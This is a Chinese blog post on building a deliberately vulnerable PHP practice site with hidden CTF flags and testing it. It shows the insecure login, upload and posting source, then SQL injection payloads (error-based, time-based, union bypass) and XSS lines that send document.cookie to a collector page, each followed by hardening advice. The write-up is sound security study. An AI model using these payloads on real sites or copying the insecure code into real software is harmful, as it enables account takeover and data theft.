目录
本地搭建靶站进行测试,旨在提高自己的开发能力以及对漏洞的理解。
源码:利用PHP开发具有注册、登陆、文件上传、发布动态功能的网站_MUNG东隅的博客-CSDN博客
这个靶站其实可以说是我出的第一道web题吧,里面藏了三个flag,拼接为一个完整的flag
三个flag的位置分别在:数据库中、admin用户的cookie中、网站源码文件flag.php中,分别对应sql注入漏洞、xss漏洞、文件上传漏洞,我想出第四个flag部分,对应csrf漏洞。
注册登录模块
源码
login.php
<?PHP
error_reporting(0);
session_start();
if((isset($_COOKIE['isLogin']) && $_COOKIE['isLogin'] == 1)){
session_start(); //创建session
header("refresh:0;url=./welcome.php");//如果成功跳转至welcome.html页面
exit;
}
header("Content-type:text/html;charset=utf-8");
include('./conn.php');//链接数据库
$username = $_POST['username'];//post获得用户名表单值 #addslashes()函数
$passowrd = $_POST['password'];//post获得用户密码单值
$_SESSION['user'] = $_POST['username'];
if ($username && $passowrd){//如果用户名和密码都不为空
$sql = "select * from flag where username = ('$username') and password='$passowrd'";//检测数据库是否有对应的username和password的sql
$result = mysqli_query($conn,$sql);//执行sql
$rows=mysqli_num_rows($result);//返回一个数值
if($rows){//0 false 1 true
session_start(); //创建session
if(!isset($_COOKIE["username"])){
if($username=='admin'){
setCookie("username",$username,time()+3600);//..设置一个用户名COOKIE
setCookie("isLogin",1,time()+3600);//..设置一个登录判断的标记isLogin
setCookie("flag3",'s_y0uR_F14g}',time()+3600);
}else{
setCookie("username",$username,time()+3600);//..设置一个用户名COOKIE
setCookie("isLogin",1,time()+3600);//..设置一个登录判断的标记isLogin
}
}
header("refresh:0;url=./welcome.php");//如果成功跳转至welcome.html页面
exit;
}else{
echo mysqli_error($conn);
//echo "<script type='text/javascript'>alert('忘记密码的话去问问神奇海螺哦! =͟͟͞͞(꒪⌓꒪*)');location='index.html';</script>";
}
}
mysqli_close($conn);//关闭数据库
?>
register.php
<?php
session_start();
header("Content-type:text/html;charset=utf-8");
include('./conn.php');//链接数据库
$username = addslashes($_POST['username']);
$password = $_POST['password'];
if($username&&$password)
{
mysqli_query($conn,"insert into flag(id,username,password,pic) values(null,('$username'),'$password','./headpic/headpic.png');");
echo "注册成功,即将跳转至登录页面";
header("refresh:1.5;url=./index.html");
exit;
}
mysqli_close($conn);
?>
测试
先进行正常的注册操作
登录,观察
登录进去以后显示用户名,存在默认头像,具有5个功能模块,存在cookie
首先我们看到登录页面
尝试万能密码登录,登陆成功
这个登录过程是没有回显的,我们来看其他的注入方式
报错注入:
是可行的
-1') and updatexml(1,concat(0x7e,(select database()),0x7e),1)-- -
-1') and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e),1)-- -
解决方式:
-
限制username长度
-
关闭报错回显
有回显的原因就是这句话:
echo mysqli_error($conn);
当在数据库中查不到相应的用户名密码的时候,会返回mysql的错误,返回这类错误在开发的时候或许是方便我们进行测试的,但是项目上线以后要尽量在这种模块不进行回显
更改:
直接返回错误信息,并进行跳转
echo "<script type='text/javascript'>alert('忘记密码的话去问问神奇海螺哦! =͟͟͞͞(꒪⌓꒪*)');location='index.html';</script>";
-
特殊符号转义
时间注入:
这个测试了很久都没发现时间注入,百思不得其解,最后把sql语句里面的username改成id,发现可行了
测试语句:
1') and if(1=2,1,sleep(5))-- -
后面发现username的话前面的1应该变成字符串
admin')and If(ascii(substr(database(),0,1))='s',sleep(5),1)-- -
解决方式:
-
ban掉sleep(),benchmark()等
堆叠注入:
这玩意只有在PDO预编译中才能出现,使用PDO执行SQL语句可以执行多条,但是如果使用不当就会让堆叠注入成为可能,比如仍然将参数拼接到查询语句
宽字节注入:
$conn->query('set names gbk');
1%df' or 1=1%23
1%df' or 1=2%23
如果参数使用addslashes()进行转义,并且编码为GBK就会出现,测试了非常非常久,一直复现不出这个漏洞,不搞了,也就那么回事
另外记录一种登陆方式:
payload:
1' union select 1,2,3,4-- -
3
源码加固
-
PDO预编译
由于SQL注入是因为参数改变了SQL语句的原有结构导致的,因此通过绑定参数可以达到参数是参数,结构是结构,从而避免结构被改变的情况。
当调用 prepare() 时,查询语句已经发送给了数据库服务器,此时只有占位符 ? 发送过去,没有用户提交的数据;当调用到 execute()时,用户提交过来的值才会传送给数据库,他们是分开传送的,两者独立的,SQL攻击者没有一点机会。
需要注意的是,不要将变量直接拼接到PDO语句中,而是使用占位符进行数据库的增删改查。
pdo连接数据库
<?php
header("Content-Type:text/html;charset=utf-8"); //设置页面编码格式
$dbms='mysql'; //数据库类型
$dbName='sqlinject'; //数据库名称
$user='root'; //数据库用户名
$pwd=''; //数据库密码
$host='localhost'; //主机名称
$dsn="$dbms:host=$host;dbname=$dbName"; //数据源名称
try{ //捕获异常
$pdo=new PDO($dsn,$user,$pwd); //实例化对象
echo "PDO连接MySQL成功";
}catch(Exception $e){
echo $e->getMessage()."<br>";
}
?>
-
编码不要设置为gbk
-
ban掉一些关键字
-
不允许空格
-
addslashes()函数进行转义
-
md5()加密存储
if(strlen($username)>6){
die();
}
文件上传模块
源码
upload.php
<?php
session_start();
header("Content-Type:text/html;charset=utf-8");
include('./conn.php');
// 附件的存储位置、附件的名字
$path='./headpic/'.$_FILES['file']['name'];
echo '文件路径'.$path."<br>";
$username = $_SESSION['user'];
// 拼接成该文件在服务器上的名称
if($_FILES['file']['error']>0) {
die("出错了!".$_FILES['file']['error']);
}
if(move_uploaded_file($_FILES['file']['tmp_name'],$path)){
//echo "<BR>"."Upload Success!";
mysqli_query($conn,"update flag set pic='$path' where username='$username';");
echo "恭喜您,上传成功!"."<br />3秒后将自动跳转到主页!";
header("refresh:3;url=./welcome.php");
}else{
//echo "<BR>"."Upload Failed!".$_FILES['photo']['error'];
echo "对不起,上传头像失败了!";
header("refresh:2;url=./welcome.php");
}
?>
测试
直接上传脚本文件,发现存在前端验证,这是很好绕过的,抓包改包就好了
返回了上传文件的路径
图片马?
00截断?
upload-labs pass12
源码加固
-
设置上传文件目录权限不能给执行权限
-
前端、后端验证(白名单)
-
二次渲染
-
对上传后的文件进行重命名
-
不要暴露上传文件的位置
-
禁用上传文件的执行权限
-
黑白名单
-
对上传的文件重命名,不易被猜测
-
对文件内容进行二次渲染
-
对上传的内容进行读取检查
<?php
session_start();
header("Content-Type:text/html;charset=utf-8");
include('./conn.php');
// 附件的存储位置、附件的名字
$path='./headpic/'.$_FILES['file']['name'];
// $ext=explode('.',$_FILES['file']['name']); //划分数组
// $ext=end($ext);
// $path='./headpic/'.time().'.'.$ext;
$username = $_SESSION['user'];
// 拼接成该文件在服务器上的名称
//deldot()函数
// function deldot($s){
// for($i = strlen($s)-1;$i>0;$i--){
// $c = substr($s,$i,1);
// if($i == strlen($s)-1 and $c != '.'){
// return $s;
// }
// if($c != '.'){
// return substr($s,0,$i+1);
// }
// }
// }
if($_FILES['file']['error']>0) {
die("出错了!".$_FILES['file']['error']);
}
// if (($_FILES['file']['type'] == 'image/jpeg') || ($_FILES['file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif'))
// {
// $deny_ext = array(".png",".jpg",".gif",".jpeg"); //白名单
// $file_name = trim($_FILES['file']['name']); //收尾去空
// $file_name = deldot($file_name); //删除文件名末尾的点
// $file_ext = strrchr($file_name, '.'); //返回字符串中.后面的部分,也就是后缀名
// $file_ext = strtolower($file_ext); //转换为小写
// $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
// $file_ext = trim($file_ext); //收尾去空
// $path='./headpic/'.time().$file_ext;
echo '文件路径'.$path."<br>";
// if (in_array($file_ext, $deny_ext)) {
if(move_uploaded_file($_FILES['file']['tmp_name'],$path)){ //上传成功会返回Ture
//echo "<BR>"."Upload Success!";
mysqli_query($conn,"update flag set pic='$path' where username='$username';");
echo "恭喜您,上传成功!"."<br />3秒后将自动跳转到主页!";
header("refresh:3;url=./welcome.php");
}else{
//echo "<BR>"."Upload Failed!".$_FILES['photo']['error'];
echo "对不起,上传头像失败了!";
header("refresh:2;url=./welcome.php");
}
// }else{
// echo "WAF!"."您上传的文件类型为".$file_ext."不允许上传"."<br />";
// header("refresh:3;url=./headpic.html");
// }
// }
?>
发布动态模块
源码
<?php
session_start();
header("Content-type:text/html;charset=utf-8");
$username=$_SESSION['user'];
$dbtable=substr($username,0,8).'blog';
include('./blogconn.php');//链接数据库
include('./allblogconn.php');//链接数据库
$sql22="create table $dbtable(id int auto_increment primary key, blog varchar(300) not null);";
$result=mysqli_query($conn2,$sql22);
$conn2->query($sql22);
$blog=$_POST['blog'];
if(isset($blog)){
$blogsql="insert into $dbtable(id,blog) values(null,'$blog');";
$result=mysqli_query($conn2,$blogsql);
$allblogsql="insert into allblog(id,username,blog) values(null,'$username','$blog');";
$result10=mysqli_query($conn10,$allblogsql);
}
mysqli_close($conn);//关闭数据库
?>
测试
</div><script>document.location.href="../xss.php?1="+document.cookie</script>
</div><script type="text/javascript">location="127.0.0.1/xss.php?1="+document.cookie;</script>
</div><script>alert("xss")</script>
http://dongyu29.xyz/xss.html
xss.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<script type="text/javascript">location="https://www.bilibili.com/"</script>
</body>
</html>
源码加固
-
httponly
-
对输入数据进行处理
-
对输出数据进行转义
$blog=htmlspecialchars($blog);